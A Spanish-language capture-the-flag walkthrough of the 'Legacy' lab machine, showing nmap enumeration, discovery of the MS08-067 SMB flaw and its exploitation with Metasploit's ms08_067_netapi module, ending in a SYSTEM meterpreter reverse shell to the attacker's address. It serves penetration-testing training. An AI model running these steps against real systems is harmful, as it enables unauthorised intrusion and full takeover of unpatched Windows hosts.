



## Descripción

Esta máquina es ideal para personas que están empezando en el mundo del hacking o personas que buscan practicar para la certificación eJPTv2.

Herramientas que emplearemos en esta máquina

- NMAP Y NMAP SCRIPTS
- METASPLOIT

---

## Enumeración

Vamos a realizar un escaneo de puertos para ver los servicios que están activos en la máquina víctima

```
sudo nmap -p- --min-rate 5000 -sCV 10.10.10.4 -oN Legacy
```

## Resultados del escaneo

```
PORT  STATE SERVICE  VERSION
135/tcp open  msrpc    Microsoft Windows RPC
139/tcp open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_ System time: 2025-02-25T21:13:08+02:00
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:94:be:9e (VMware)
|_ clock-skew: mean: 5d00h57m39s, deviation: 1h24m50s, median: 4d23h57m39s
```

En este escaneo podremos ver 3 puertos abiertos pero vamos a fijarnos en el **445** que tiene el servicio **smb** activo

Vamos a ejecutar el siguiente script de NMAP para enumerar posibles vulnerabilidades de **SMB**

```
sudo nmap --script=smb-vuln* 10.10.10.4
```

```
smb-vuln-ms08-067:
VULNERABLE:
Microsoft Windows system vulnerable to remote code execution (MS08-067)
State: VULNERABLE
IDs: CVE:CVE-2008-4250
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
code via a crafted RPC request that triggers the overflow during path canonicalization.
```

Podemos ver que estamos ante la vulnerabilidad **ms08-067**

---

## Explotación

Si buscamos la vulnerabilidad **ms08-067** en metasploit, encontraremos un módulo para explotar esta vulnerabilidad

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Lo configuramos y lo lanzamos

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.16.21
LHOST => 10.10.16.21
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
RHOSTS => 10.10.10.4
msf6 exploit(windows/smb/ms08_067_netapi) > |
```

Después de lanzar el módulo tendremos una sesión privilegiada de **meterpreter**

```
[*] Started reverse TCP handler on 10.10.16.21:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (177734 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.16.21:4444 -> 10.10.10.4:1035) at 2025-02-20 17:13:25 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > |
```

Ahora solo nos quedará buscar la rootflag y la userflag